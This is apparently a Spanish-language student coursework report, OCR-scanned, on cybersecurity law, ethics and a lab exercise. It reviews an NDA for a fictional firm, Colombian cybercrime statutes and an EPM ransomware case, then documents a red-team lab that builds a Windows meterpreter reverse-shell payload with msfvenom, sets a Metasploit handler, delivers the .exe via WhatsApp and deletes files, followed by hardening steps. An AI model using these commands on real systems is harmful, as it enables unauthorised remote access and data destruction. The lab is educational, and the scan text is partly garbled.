datos secretos como 'datos de chuzadas, interceptacién ilegal de
informacién, accesos abusivos a sistemas informaticos”.

Se torna ilegal cuando se pide
datos de chuzadas, intercepciones
ilegales y accesos abusivo a
sistemas de informacion sin previa
autorizacion u orden judicial.

Mrmgiendo su Uso exclusivamente a las personas que tengan
absoluta necesidad de conocerla.

Se debe proteger la informacion y
no brindarsela a personas que
tengan la necesidad de conocerla.

No denunciar ante las autoridades actividades sospechosas de
espionaje o cualquier otro proceso en el cual intervenga la

Puesto que prohibe denunciar ante

apropiacién de informacién de terceros. los entes Correspondientes las
actividades sospechosas.
Esta accibn conlleva a la

Responder por el mal uso que le den sus representantes a la
informacion confidencial.

consecuencia de detencion o perder
el derecho a ejercer la profesion.

La parte receptora se obliga a no transmitir, comunicar revelar
o de cualquier otra forma divulgar total o parcialmente, publica
o privadamente, |ainformaciéon confidencial oilegal sin el
previo consentimiento por escrito por parte de HackerHouse.

No deberia a ver informacion ilegal,
debido a que es una empresa que
maneja datos personales vy
confidenciales, por lo anterior se
entiende que la empresa conoce de
dicha informacion ilegal.

. Mantener la reserva de la informacion confidencial hasta tanto

Hace falta mas informacion
respecto a este acuerdo o detallarlo
mas a fondo

Sexta. Responsabilidad: la parte que contravenga el acuerdo sera
responsable ante la otra parte o ante los terceros de buena fe sobre
los cuales se demuestre que se han visto afectados por lalinobservancia
del presente acuerdo, [por los perjuicios morales y econémicos que
estos puedan sufrir como resultade del incumplimiente de las
obligaciones aqui contenidas.

La persona que esté en contra de lo
acordado sera responsable por
todos los dafios ocasionados.

acuerdo. En caso que la informacién ilegal o confidencial sea
encontrada en manos del receptor este deberd acudir a un abogado
privado y dejar exenta de cualquier responsabilidad legal y penal a
HackerHouse.

La empresa deberia poner su parte
juridica para representar al
empleado en caso de que se
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presente informacioén irregular.
Pero acé solicitan abogado externo.

mismas.

Novena. Legislacion aplicable: Este acuerdo se regira por las leyes
de la Republica de Colombia y SeVinterpretard de acuerdo con las

Aqui sin importar si es informacion
legal o ilegal debemos acogernos a
la normativa colombiana respecto a
las sanciones o multas que conlleve
este cargo.

condiciones.

Décima. Aceptacién del Acuerdo: Las partes han leido y estudiado
de manera detenida los términos y el contenido del presente Acuerdo
y por tanto manifiestan estar conformes y aceptan todas las

No creo que de manera detenida se
estudio el acuerdo, hace falta
muchos procesos de explicacion,
como las funciones, obligaciones,
profundizacién en procesos de la
comparniia respecto al manejo de la
informacion confidencial y los
datos.

Fuente Imirida Mora Nifio

4.2 Siusted como profesional en ciberseguridad logré encontrar algin proceso ilegal
en el anexo 3 — Acuerdo, deberé citar puntualmente ley colombiana y articulo que
se podria estar violentando en dicho documento.

Respecto al proceso, si se encuentran irregularidad que se violentan segun los
anexos 2 y 3, a continuacion, los nombraremos que articulo y que ley se incurre en
incumplimiento y posibles sanciones.

Tabla 6 LEY Y ARTICULOS VIOLENTADOS

LEY 1273 DE

2009

El 05/01/2009 se define una ley contra delitos en la privacidad, honradez y
accesibilidad de los datos y los procedimientos informaticos. Permite avanzar en
el sanciona miento para los delitosinformatico.

ARTICU NO'\SEFE MULTAS O
LO ARTICUL CARACTERISTICAS SANCIONES
269 A Acceso Toda persona que, sin | Incurrird en prision de
abusivoa un autorizacion, impida o 48 a 96 meses o de
sistema interfieraen el normal 100 a 1000 SMLMV.
informatico ingreso a un sistema
informatico, a los datos
gue estén dentro de
ellos y la red.
269 C Interceptaci Cualquier persona | Incurrird en prisién de
on de datos que, sin orden judicial, | 36 a 72 meses.
Informaticos.
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obstaculice datos en
su origen, destino o
emita radiacion
electromagnética

desde un sistema

informético que
transmita dichos datos.

269 E Uso de | Cualquier persona que | Incurrird en prisién de
Software fabrique, comercialice, 48 a 96 meses o de
malicioso. compre, distribuya, 100 a 1000 SMLMV.

venda envie,

implemente o adquiera
software malicioso u
otros programas
informaticos  dafiinos
en el territorio del pais

sin permiso.
269 F Violacion de El que venda, compra, | Incurrird en prision de
Datos almacene o utlice | 48 a 96 meses o de 100
ersona claves personales, sin | a 1000 SMLMV.
es. autorizacion de

archivos, base de datos
o medio similar, para
uso o un beneficio de
tercero.

Fuente Ley 1273 de 2009 - Gestor Normativo. (s.f.). Inicio - Funcion
Publica. https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=34492#.~:text=Por%20medio
%20de%20la%20cual,las%20comunicaciones,%20entre%200tras%20disposiciones..

Adicionalmente también la ley 1581 de 2012 en su capitulo Il “Procedimientos y
Sanciones” indica: que la superintendencia de Industria y comercio apenas
establezca el incumplimiento del responsable del tratamiento de datos, colocara
las medidas o sanciones estipuladas en la ley. Las cuales son las siguiente:

a) Multas de caracter personal e institucional hasta por el equivalente de dos mil
(2.000) salarios minimos mensuales legales vigentes al momento de la imposicion
de la sancion. Las multas podran ser sucesivas mientras subsista el
incumplimiento que las origino.

b) Suspension de las actividades relacionadas con el Tratamiento hasta por un
término de seis (6) meses. En el acto de suspension se indicaran los correctivos
gue se deberan adoptar.
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c) Cierre temporal de las operaciones relacionadas con el Tratamiento una vez
transcurrido el término de suspensién sin que se hubieren adoptado los
correctivos ordenados por la Superintendencia de Industria y Comercio;

d) Cierre inmediato y definitivo de la operacion que involucre el Tratamiento de

datos sensibles.
Fuente Ley 1581 de 2012 - Gestor Normativo. (s.f.). Inicio - Funcién Publica.
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=49981

4.3 El sueldo para los puestos de Red tema y Blue team estan entre los $17.000.000
y los 22.000.000 respectivamente. ¢ Si usted llegara a encontrar procesos ilegales
en el acuerdo de confidencialidad usted aceptaria contrato y acuerdo de
confidencialidad de la organizacion HackerHouse, aun conociendo lo que podria
disponer COPNIA en su codigo de ética y sanciones en Colombia para profesionales
de ingenieria? Para justificar esta respuesta se recomienda que consulte
directamente en la pagina oficial de COPNIA para generar una respuesta coherente:
https://www.copnia.gov.co/tribunal-de-etica/codigo-de-etica.

RESPUESTA: Como especialista en seguridad informatica, no aceptaria la
propuesta de trabajar, aunque suene tentadora por el valor del contrato debido a
que ya me documenté, lei y he observado el riesgo que conlleva tener malas
practicas profesionales respecto a procesos organizacionales que en su funcion sea
el manejo de la informacion o datos personales sensibles.

Adicionalmente siempre se debe leer muy bien cada clausula de la contratacion
actual que nos ofrezcan, analizar cada parte o item para saber si lo que se firma es
legal y va con la ética profesional de nosotros.

Aunque en ocasiones hay actividades que no se relacionan en los contratos, y uno
empieza a asumirlas, quizas en esos procesos es donde mas cuidado se debe
tener, ya que nadie no las tipifica, sino que se realizan verbalmente, y uno lo asume
como si fuera parte de la labor contractual contratada.

El COPNIA en su pagina nos muestra el cédigo de ética y sancidon colombiana
regida por la ley 842 de 2003, donde nos estipulan “reglamentacién del ejercicio de
la ingenieria, de sus profesiones afines y de sus profesiones auxiliares, se adopta
el Codigo de Etica Profesional y se dictan otras disposiciones, en esta ley podemos
ver a que nos enfrentamos y como debemos asumir siendo profesionales.”

5 Ley 842 de 2003 | Copnia. (s.f.). Inicio | Copnia. https://www.copnia.gov.co/nuestra-entidad/normatividad/ley-842-de-2003
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También teniendo en cuenta las sanciones que nos otorgan en caso de alguna falla
estipulada en la ley, y que nada vale la pena, ni ningun cargo, salario o
reconocimiento que atente contra la perdida de nuestro perfil profesional, perdida
de la tarjeta o incluso inhabilitacion de por vida de nuestra profesion, que con tanto
esfuerzo, dedicaciéon y economia nos costé sacarla.

4.4 Debera buscar alguna noticia de cibercrimen en Colombia y redactar su punto
de vista teniendo en cuenta las implicaciones legales y éticas que alli se pudieron
generar. Se solicita que mencione la ley y articulo el cual logre explicar los delitos
expuestos en la noticia que consulté.

Tabla 7 Ataque Cibernético. Autoria Propia.

ATAQUE CIBERNETICO A EPM
¢ QUE SUCEDIO? Un ataque cibernético, que afecto el
servicio de atencion al cliente y los
canales virtuales.
COMO SUCEDIO a través de ransomware, que captura la
informacion y la cifra; y para poderla
liberar hay que pagar por el codigo.

QUIEN LO HIZO GRUPO BLACK CAT
QUE PROCESO REALIZA LA |Activo un equipo para realizar una
EMPRESA auditoria  forense, que permitira

identificar la causa raiz del incidente de
ciberseguridad.

LEYES Y ARTICULOS
Art. 269A: Acceso abusivo a un sistema
informatico Ingresaron al sitio de servicio al cliente
Art. 296C: Interceptacion de datos | e interceptaron los canales virtuales,
Informaticos. capturaron bases de datos y validaron
Art.  269F: Violacion de Datos |informacion del personal de la
personales compafiia, mediante el ransomware.

Art. 269E: Uso de Software malicioso

Fuente: Imirida Mora Nifio

Punto de vista: Respecto a este sucedo, queda demostrado que aln no nos
encontramos a la vanguardia tecnolégica, para poder contrarrestar dichos ataques,
pero lo que si podemos hacer es mitigar procesos de ciberseguridad, crear politicas
mas apropiadas para los procesos que contengan informacién tanto de datos
personales como de seguridad de la informacion que se almacena.

De este ataque queda la reflexion de que todas las empresas y los colaboradores
debemos aportar a que los procesos sean mas funcionales, seguros y robustos en
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el proceso diario, también que debemos actualizarnos dia a dia para ayudar a que
el espacio cibernético sea mas seguro para todos.

Los materiales que usaron en el desarrollo del proyecto, estos pueden ser
materiales fisicos como también software, encuestas, etc.

5 EJECUCCION PRUEBAS DE INTRUSION

5.1 Describa de manera especifica las herramientas software que utilizé para llevar
a cabo el anexo 4 — escenario 3 enfocado a redteam.

Para llevar a cabo el anexo 4 se utilizaron las siguientes aplicaciones dentro de la
actividad, para poder aplicar cada una en la busqueda del ataque ocasionado a la

organizacion:

Tabla 8 Herramientas Utilizadas

APLICACION DESCRIPCION uso
MSFVENOM | Comando que se utiliza para la | Se utiliza para la iniciacion
herramienta Msfpayload de la herramienta
Metasploit.
KALI LUNUX | Sistema Operativo Gratuito Sistema Operativo
Atacante
WINDOWS Sistema Operativo licenciado Sistema Operativo Victima
METASPLOIT | Herramienta  que  permite e Ejecucion del
ejecutar procesos de expliots, la Payload.
cual ayuda a identificar e Escuchar el puerto
debilidades de seguridad y se 443,
utiiza como prueba de
penetracion
NMAP Herramienta gratuita orientada e Mapeo de Puertos.
a la exploracion de redes y a ¢ |dentificacion de
procesos de seguridad. Puertos.

CVE Es una herramienta de base de | Identificacion de la
datos que nos permite | vulnerabilidad segun la
identificar las vulnerabilidades | base de datos.

VIRTUAL BOX | Aplicacion que se utiliza para | Creacion de  entornos
virtualizar las maquinas dentro | controlados como es Kali
de un host. Linux y Windows.
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PAYLOAD Es un cédigo malicioso que se | Se utiliza como carga util
utiliza para la postexplotacion | en la ejecucion del .exe.
de una vulnerabilidad.
Fuente: Imirida Mora Nifio

5.2 A continuacion, liste y describa los datos e informacion del anexo 4 — escenario
3 que le fueron de ayuda para identificar el fallo de seguridad especifico el cual
ataca a la maquina Windows 10 x64.

Para este proceso, utilice la fase de recopilacion de informacién, partiendo desde
la que nos indica la persona administradora de la maquina atacada por el archivo
PoC_1010201094.exe:

e Los sistemas de seguridad se encontraban desactivados.

Figura 31 Sistema de defensa desactivado

Configuracion de
% antivirus y proteccion [Tienes alguna pregunta?
contra amenazas o

Fuente: Imirida Mora Nifo

e Informacion en el escritorio, que después desaparece.
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Figura 32 Archivo txt.

Fuente: Imirida Mora Nifio

e Recuerda haber ejecutado un archivo.exe con el nombre
PoC_1010201094.exe enviado por WhatsApp.

Figura 33 Ejecutable PoC.

b PoC 1010201094 .exe

Fuente: Imirida Mora Nifo.

e Politicas de seguridad bajas respecto a permisos de usuarios y maquinas.
e Se analiza la opcion de que exista una sesién abierta por meterpreter.

5.3 ¢Qué herramienta utilizé6 para poder identificar los fallos de seguridad de la
“‘maquina Windows 10”? ; qué puerto abre la aplicacion especifica en el anexo?

Para identificar los fallos, lo primero que debemos realizar es una validacion a la IP
de la maquina victima.

En Windows abrimos el CDM vy utilizamos el comando IPCONFIG, el cual nos

arrojara la informacion necesaria de nuestra ip como lo muestra la siguiente figura
N° 34 la ip de nuestra maquina virtual Windows es 192.168.10.16.
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Figura 34 IP 192.168.10.16 en Windows.

B¥ C\Windows\system32\cmd.exe

mo>ipconfig

cion IP de Windows

Fuente: Imirida Mora Nifio

Ya teniendo ese dato de nuestra IP en Windows, se utiliza la herramienta de NMAP
con la cual se realiza un escaneo de vulnerabilidades para la IP 192.168.10.16 que
es la maquina victima en este escenario.

Con el comando sudo nmap -f -script vuln ip 192.168.10.16 como lo muestra la
Figura N° 3 donde se evidencia que en el escaneo trae los puertos que se
encuentran abierto como lo son el 135-139-445 adicional nos informa que presenta
una vulnerabilidad CVE-2012-1182.

Figura 35 Escaneo con NMAP.

report for 19
(0.00018s 1
los

o

Segun la base de datos de CVE esta falencia se debe a CVE-2012-1182 permite
generar una conexion sin autentificacion por lo cual genera una vulnerabilidad que
permite cédigo remoto.
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Figura 36 CVE - 2012 - 1182.

CVE-2012-1182:

Fuente: samba-vuln-cve-2012-1182 Script NSE: documentacién del motor de scripting Nmap . (Dakota del
Norte). Nmap: Network Mapper - Escaner de seguridad gratuito. https://nmap.org/nsedoc/scripts/samba-vuln-

cve-2012-1182.html

Adicionalmente el puerto 443 se utiliza para escuchar informacion mediante el
protocolo HTTPS cifrando informacién entre servidor — cliente, pero en este caso
genero inconsistencia y fue vulnerado para crear una amenaza para la organizacion

5.4 Explique con sus palabras y de manera especifica como afecta el ataque a la
maquina (Windows 10 x64), haga uso de graficos para explicar el ataque.

Las vulnerabilidades en un sistema de informacion son accesos que permiten que
personas no autorizadas o criminales accedan a las maquinas afectando procesos
o informacién de vital importancia en organizaciones.

Como lo observamos en la Figura N° 37 al generar el escaneo nos muestra la
vulnerabilidad expuesta, la cual no solo genera conflicto de fuga o perdida de
informacion, sino politicas de seguridad escasas que permiten estos sucesos
abusivos a las maquinas.

Adicionalmente, genera un gasto de recuperacion a los procesos de ciberseguridad

gue mantiene la empresa, puesto que el archivo .txt. genero perdida de informacion
valiosa y un riesgo de datos personal respecto al tratamiento que se les debe dar.
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Quizas se genere un proceso interno, para auditar cada proceso que generen los
empleados, las politicas existentes y la seguridad que cada equipo de coOmputo y

sus redes presentan.
Figura 37 Grafico del ataque.

Cara Ut o
arcnivo 8xe.

nnnnnnnnnnnnnnn

Fuente: Imirida Mora Nifio

5.5 Debera documentar y adjuntar los comandos utilizados y explicar la estructura
desarrollada para el Payload ademas de los comandos para ejecutar el payload.

Tabla 9 Comandos Utilizados.

COMANDO ESTRUCTURA
exploit/multi/handle. Es el software que ejecuta el
Payload.
Set payload/windows/meterpreter/reverse_tcp | Sentencia de configuracion del
Payload.
Set LHOST Ip de la maquina atacante

192.168.10.22

Set LPORT Puerto 443 el que se utilizar
para atacar.

SYSINFO Caracteristicas del equipo
Windows

LS Listar archivos del directorio

RM Eliminacién de informacién

Msfvenom Su uso es para inicializacion de
la herramienta Metasploit.

nmap -f -script vuln ip Escaneo de vulnerabilidades

6 Flowchart Maker & Online Diagram  Software. (s.f). Flowchart Maker & Online Diagram

Software. https://app.diagrams.net/
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Msfconsole Para colocar el puerto a
escuchar y tomar el control
remoto de la maquina.

.exe. Ejecutable que contiene el
ataque.

Shell Permite acceder a una terminal
para ejecutar comandos.

Nmap -sn ip Para ver los hosts de la red.

Nmap -O Visualizar informacién sobre el
sistema Operativo

Exploit Para ejecutar el Payload

Fuente: Imirida Mora Nifio

En este caso, como especialistas en seguridad informética, empezamos a recopilar
las evidencias necesarias para saber que posible afectacién presento la compafiia
como ya las habiamos indicado en los puntos anteriores y basados en ese proceso
simularemos la creacion y ejecucion del ataque.

5.5.1 PROCESO DE CREACION DE PAYLOAD ENTREGA Y EJECUCCION
DE ATAQUE

Debemos ingresar al entorno de Kali Linux, con el usuario y contrasefia configurada
en el momento de la parametrizacion el Usuario es: imoran este usuario se da por
mi correo institucional y mi usuario de campus virtual.

Figura 38 Acceso a Kali Linux.

+ 09ago,13:00 &

IMORAN = latam

\\\\\\

Fuente: Imirida Mora Nifio

Aqui después del inicio de sesidn, €l nos lleva al escritorio de Kali Linux, listo para
su funcionamiento y realizar la practica o validaciones correspondientes.

Figura 39 Escritorio de Linux.
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"the quiets re able to hear®

Fuente: Imirida Mora Nifio

En Kali utilizamos el comando IFCONFIG, el cual nos arrojara la informacion
necesaria de nuestra ip como lo muestra la siguiente figura 40 la ip de nuestra
maquina virtual Kali es 192.168.10.22.

collisions @

frame @

carrier @ collisions @

Fuente: Imirida Mora Nifio

Para llevar a cabo la creacion del Payload abrimos la consola para ingresar
comandos, el comando utilizado para la creacion es mediante la ejecucion de:

“msfvenom -p windows/x64/meterpreter/reverse_tcp --platform windows -a
x64 LHOST:192.168.10.16 LPORT=443 -f exe >>
/home/imoran/Escritorio/PoC_1010201094.exe”

Figura 41 Creacion de Payload en msfvenom.

windows X64 LHOST=192.168.10.16 LPORT=443 -f exe /home/imoran/Escritorio/PoC_1010201094.exe

Fuente: Imirida Mora Nifio

Una vez creado, se nos genera el ejecutable con el nombre de
PoC _1010201094.exe en el escritorio de Kali, como lo observamos en la figura 11.
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Figura 42 PoC 1010201094 en escritorio Kali.

Fuente: Imirida Mora Nifio

Después de esto procederemos a enviar el ejecutable por WhatsApp al
administrador de la computadora afectada, como lo muestra la figura 12 adjuntamos
el archivo y le damos enviar.

Figura 43 Ejecutable por WhatsApp.

COSNHNE 2=

Fuente: Imirida Mora Nifio

En nuestra figura 44, observamos €l envié del archivo desde Kali Linux a Windows
por medio de la aplicacion de WhatsApp.

Figura 44 Envi6 de Ejecutable.

Fuente: Imirida Mora Nifio

Por otro lado, el administrador de la maquina victima abre la aplicacion de WhatsApp
Web en la computadora afectada, donde se visualiza en el escritorio de Windows
un archivo TXT. Como lo muestra la figura 14.
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Figura 45 Descarga del PoC en Windows.

Fuente: Imirida Mora Nifio

Una vez se encuentre descargado el ejecutable en Windows 10, el atacante procede
a generar la ejecucion de la amenaza mediante el comando Msfconsole.

Figura 46 Ejecucion Msfconsole en Kali

letasploit Framework console ...

Fuente: Imirida Mora Nifio

La figura N° 47 nos muestra como la ejecucion del anterior comando abre la
consola del Metasploit para generar su ejecucion.

Figura 47 Apertura de Metasploit.

Fuente: Imirida Mora Nifo

Una vez el Metasploit se encuentre activo, nos permitira ingresar los siguientes
comandos los cuales serviran para poner en marca nuestro ataque y los cuales en
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la “Tabla 2 Comandos Utilizados” describimos su utilidad y funcionamiento para
dicho proceso.

Figura 48 Ejecucion de Comandos.

92.168.10.16:50447) at 2023-09-07 15:17:49 -050

Fuente: Imirida Mora Nifio

Después de ejecutar el exploit, podremos solicitar informacion del sistema operativo
con el comando SYSINFO como lo muestra la Figura N° 49 donde podemos
determinar que su sistema operativo es un Windows 10 con arquitectura de x64 Bits.

Figura 49 Comando Sysinfo

> sysinfo
: DESKTOP-F1EMIGP
0s ! Windows 18 (10.2 Build 19845).
Architecture : XB4

es 419
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64 / windows

meterpreter > I

Fuente: Imirida Mora Nifo

A continuacién, generamos el listamiento de archivos dentro de nuestro sistema
operativo Windows utilizando el comando LS como nos muestra la figura N° 50 al

listar los archivos encontramos los siguientes:
e El .txt con el nombre creado por el administrador de la maquina.

e El .exe que es nuestro archivo atacante
e El .ini con informacion de algun otro proceso
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Figura 50 Listamiento de Informacion.

critorio

Name

TUDIANTE_CODIGO_FECHA_ACTIVIDAD.txt
294 (1 e
W-TW-T i

Fuente: Imirida Mora Nifio

Una vez ejecutado nuestro archivo PoC_1010201094 (1).exe, utilizamos el
comando “rm” para generar la eliminacién del archivo en nuestra ubicacion.
Podemos observar que nuestro archivo .txt. desaparece del listamiento o
nombramiento de archivos. Asi como lo muestra la Figura N° 51

Figura 51 Perdida de archivo txt.

Escritorio“\\NOMBRE_ESTUDIANTE_CODIGO_FECHA_ACTIVIDAD.txt

Fuente: Imirida Mora Nifo

Al ingresar a la maquina victima windows se observar que el archivo txt no se
encuentra como lo muestra la figura 52.

Figura 52 Archivos ya no existen.

Fuente: Imirida Mora Nifio

52



Adicionalmente ejecutaremos el comando “Nmap -f -sn 192.168.10.0/24 para
identificar dentro del Host que compone la red:

e Laip 192.168.10.1 hace referencia al router.
e Laip 192.168.10.22 es nuestra maquina atacante

[
Por ende, las dos ips que sobran debemos detectar cual es nuestro sistema
operativo de la maquina a atacar.

Figura 53 Identificacion dentro del Host.

-@7 16:80 -85

Host :
MAC Ad 7:E0: (Or N rtual NIC)
Nmap

Nmap done: 256 IP addre (4 hosts up) scanned in 1.88 seconds

Fuente: Imirida Mora Nifio

Para identificar el sistema operativo de la maquina a atacar, ejecutamos el comando
“‘Nmap -o ip”

Entonces empezamos con la IP 192.168.10.16, La cual nos muestra informacion de
gue el sistema operativo es Windows 10 por ende esta es la IP de nuestra maquina

victima.
Figura 54 Maguina Victima

VirtualBox virtual NIC)

10 1709 - 1909

se report any inco ults at https://nmap.org/submit/ .
st up) scanned in conds

Fuente: Imirida Mora Nifio

6. CONTENCION DE ATAQUES INFORMATICOS
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6.1 LA HARDENIZACION EN WINDOWS

Hace referencia a el mejoramiento de seguridad de un sistema operativo Windows
10 para aplicar medidas y configuraciones que reduzcan las vulnerabilidades y que
sirva para fortalecer la proteccion contra amenazas cibernéticas.

Debemos eliminar o analizar que el Payload o el .exe ya no se encuentra en el
escritorio de nuestra maquina Windows.

Figura 55 Eliminacion del Payload.

Q@ - @ = Qe sRWw 00 ®

Fuente Imirida Mora Nifio

Para esto implementamos los siguientes pasos en nuestra maquina afectada en la
organizacion.

1. ACTUALIZACION DE WINDOWS: Se debe mantener actualizado tanto en
sistema operativo, controladores, y software de terceros.

Figura 56 Actualizacion Windows

€ Confguracién - 8 x
@ fnicio Windows Update

| iTodo esta actualizado!
Uima comprobacion: hoy. 16:02

Actualizacién y seguridad

| & Windows Update
1 Optimizacién de distribucion
@ Seguridad de Windows

T Copia de seguridad

Fuente Imirida Mora Nifio
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2. ANTIVIRUS: Instalar un software antivirus y antimalware actualizado y
generar su revision periddicamente.

Figura 57 Antivirus Actualizado

Proteccién antivirus y
contra amenazas Viddeos de 1s Comunidad Windaws

@ Amenazas actuales {Thenes alguna preguntai

., Configuracin de antivirus y
proteccion contra amenazas

& Configuracicn

Fuente Imirida Mora Nifio

3. CUENTAS DE USUARIOS: Crear cuentas con usuarios y privilegios
limitados para las tareas diarias.

Figura 58 Creacion de usuarios.

=

MIMIS MORA NINO
s ________|

Fuente Imirida Mora Nifio

4. FIREWALL: Habilitar el firewall de Windows para conexiones entrantes y

salientes.
Figura 59 Firewall Activado

w Firewall y proteccion de
red

Fuente Imirida Mora Nifio

55



Figura 60 Windows Defender Activado

@ Firewall de Windows Defender - [m] X

S v 4 @@« Siste.. » Firewall de Window.. v o B

en el Panel de control £

Ventansprincipal del Pt g Audar a proteger el equipo con Firewall de Windows Defender

contrel Firewall de Windows Defender puede ayudar 2 impedir que piratas informéticos o software

) malintencionado obtengan acceso al equipa a través de Internet o una red.
Permitir que una aplicacién o

una caracteristica a través de -

Firewall de Windows Defender 0 Redes privadas No conectado
& Cambiar Iz configuracion de . T

notificaciones @ Redes publicas o invitadas Conectado
& Activar o desactivar &l Firewall _

e Windowe Defender Redes en lugares publicos como aeropuertos o cafeterias
© Restaurarvalores Estado de Firewall de Windows Defender: Activado

predeterminados

. Conexiones entrantes: Bloquear todas las conexiones a aplicaciones que

& Configuracién avanzada

no estén en lalista de aplicaciones permitidas
Solucién de problemas de red .
Redes puiblicas activas: = Red2

Estado de notificacién: Netificarme cuando Firewall de Windows
Defender bloquee unz nueva aplicacion

ea también
Seguridad y mantenimiento

Centro de redes y recursos
compartidos

Fuente Imirida Mora Nifio

Figura 61 Windows Defender reglas de entrada - salida

r Sl e

P Windows Defender Frensl cor| [ e B e R | .cciones
B Reglas de entrads P e e T |
8 Reglas de salida Windows Defendes Firewat..
B Reglas de seguidad de con Waows Defendes Framl con segurelsd secundad Windows Ieportar directiva
B Supervision

Exportar directiva
Informacion genesal A

Perfil de dominio

Restaurar directiva pee

Diagnosticar / Reparar
@ Frewsl de Windows Defender est sctvado

ver »
© Leco concidan con una el estn locussda,

5 Actualizac
€ Conexsones sabertes s o concidan con ura g e pemitdas

Propiedades

Perfil privado B e
@ Frowsl de Windows Deforder et sctwado
(© Las conaniones ertrartes cue o concidan con Lra g extdn blogueadas

€ Conermes sabertos que 2 concidan con s rega sesn pemcdss

El perfil piblico ests activo.

@ Frewal de Windows

ender exd actvado

© Lus consins eriar

0 concidan con na regle estén blogusadas
@ Conexsones sabertes que o concidan con una rge serdn pemitcias

B3 Propiedades o Frowal e

Introduccién -
Aulenticar comunicaciones entre equipos

e reglas de seguaded de co 1 ¥ Cusnds deben auterticarms  prolegerse las conerones
ertre ecuupos i =k de  (Psec)

B

Ver y crear reg!

as de firewall

Fuente Imirida Mora Nifio

5. CONTRASENAS SEGURAS: Usar contrasefias seguras, cambiarlas
periédicamente.

Figura 62 Contrasefias Seguras
4

metasploit

% ;lﬁ MIMIS MORA NIK...

Fuente Imirida Mora Nifio
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6. EDUCAR A LOS USUARIOS: Sobre practicas seguras en linea como no abrir
links, archivos o programas de dudosa procedencia.

6.2 ¢Ante un ataque informatico en tiempo real usted como experto en
Ciberseguridad qué pasos toma para identificar dicho ataque? Debe listar y explicar
cada uno de estos pasos.

Cuando se genere un ataque en tiempo real, el grupo de seguridad o el experto en
ciberseguridad realizara los siguientes pasos con el fin de identificar y mitigar el

ataque.
Tabla 10 EXPLICACION DEL PASO A PASO

PASOS Y DESCRIPCION PARA ATAQUE EN TIEMPO REAL

MONITOREO: Debemos utilizar herramientas de Monitoreo de seguridad, para
detectar acciones inusuales o procesos sospechosos, entre ella encontramos las
SIEM, las IDS/IPS, podeos utilizar firewall de préximas generaciones para generar
la validacion de trafico un poco mas detallada, las herramientas de
comportamientos de usuarios, podemos utilizar los Honeypots.

ANALISIS DE LOGS: Revisar los logs de transmision de los sistemas, para poder
validar si de pronto hay pistas o actividades poco comunes.

RECONOCER O IDENTIFICAR LOS PUNTOS DE ENTRADA: Validar o analizar
como se realizd la intrusién, la cual se realizO mediante un malware, una
vulnerabilidad, un fallo en la red, un intento de phishing, entre otros muchos
ataques.

RECOLECCION DE EVIDENCIA: Recolectar informacién el ataque, imagenes,
archivos sospechosos y cualquier dato que nos permita identificar la amenaza.

AISLAMIENTO DE SISTEMAS AFECTADOS: Aqui se deberia desconectar los
sistemas afectados de la red para que no se propague el ataque.

CONSULTAR BASES DE DATOS PARA VALIDAR SI HAY INFORMACION DE
ATAQUES: Consultar informacion sobre el ataque, para validar si hay forma de
detenerlo més rapido o tacticas o defensas utilizadas en casos similares.

ANALISIS FORENSE: Identificar, preservar, andlisis y muestra de la evidencia
respecto a los hallazgos del ataque.

NOTIFICACION: Informar a las personas o partes involucradas.

CONTENCION Y ERRADICACION: Plan de contencion y eliminacién de la
amenaza, esta se desarrolla bajo los pardmetros de inclusion de parches de
vulnerabilidad, eliminar malware y restablecer los sistemas desde las copias de
seguridad desde que se tengan y estén libres de afectacion.

RESTAURACION DE SISTEMAS DE INFORMACION: Restaurar los servicios y
sistemas de informacién de forma paulatina, para evitar secuelas del ataque.

ANALISIS POSTERIOR AL ATAQUE: Analizar detalladamente el ataque para
entender como ocurrio y mitigacion para ataques futuros.
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MEJORAS DE SEGURIDAD: Implementar medidas de seguridad o reforzar las
existentes basadas en la mejora continua de las politicas de seguridad.
MONITOREO CONTINUO: Validacién constante y una respuesta rapida en caso
de detectar un ataque.

INFORMAR A LAS AUTORIDADES: De ser necesario informar y cooperar en la
investigacion con la informacién con el fin de dar con el responsable del ataque.
COMUNICACION EXTERNA: Comunicar de la manera mas adecuada y formal
respecto al incidente de seguridad a las personas necesarias.

Fuente: ciberseg1922. (2021, 7 de abril). Ciberataques. Guia para la gestidon y notificacion de ataques
informaticos | Ciberseguridad. Ciberseguridad. https://ciberseguridad.com/ciberataques/

6.3 ¢ Teniendo en cuenta el ataque ejecutado desde el ejercicio de Red team liste
el paso a paso que ejecutd para subsanar el sistema ante el evento del Payload?

Para realizar la subsanacion del sistema ante el evento del Payload ejecutado por
el grupo Reed Team, es importante seguir un proceso minucioso para identificar las
vulnerabilidades y amenazas para asi mismo, tomar medidas correctivas y a su vez
preventivas dentro de los sistemas de informacion.

Tabla 11 SUBSANAR SISTEMA

PASO PARA SUBSANAR EL SISTEMA

IDENTIFICACION DEL PAYLOAD Y SU FUNCIONALIDAD: Analizar, investigar
y conocer el Payload para asi entender los posibles dafios que pueda ocasionar
o que tan comprometido quedo el sistema durante el ataque.

CONTENER EL INCIDENTE: Para esta practica no fue necesario aislar el
sistema, debido a que como era un ataque simulado no infecto toda la maquina.
RECOPILACION DE INFORMACION: Se habla con el administrador de la
maguina e informa que tenia todo el sistema de seguridad abajo, que es un
sistema operativo Windows 10. También que por medio de un Payload tipo
meterpreter se realizd el ataque ya que permite la conexion remota a la maquina
y por medio de ella generar la eliminacién de informacién como sucedi6 con el
archivo TXT.

LIMPIEZA Y RESTAURACION: Se realiza la activacién del sistema de seguridad,
actualizacion de parche o del sistema operativo, eliminacién del malware.
MONITOREO: Se realiza validacion a todos los archivos para ver si se presenta
alguna infeccibn mas, pero no fue necesario.

NOTIFICACION: Se realiza el informe de incidentes para mostrar a la gerencia

de la organizacién HackerHouse
Fuente Imirida Mora Nifio
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6.4 Sabemos que existen equipos Blue Team y Red Team, pero entonces ¢queé
diferencia existen entre los equipos antes mencionados con el Purple Team y
equipos de respuesta a incidentes informaticos?

Tabla 12 DIFERENCIAS

DIFERENCIAS ENTRE EQUIPOS

BLUE TEAM RED TEAM PURPLE TEAM CSIRT
Se enfoca en la | Actla como | Es la union entre |[Es un  grupo
proteccién y | enemigo, debe | los dos anteriores | especializado en
seguridad, identificar yly realiza | gestion y
mantener y | explorar colaboracion  en | mitigacion de
mejorar la | debilidades 0 | ambos  equipos | incidentes
seguridad en las | falencias en la|para mejorar los | informaticos
compainiias infraestructura de | procesos de
seguridad. ciberseguridad de
la organizacion.
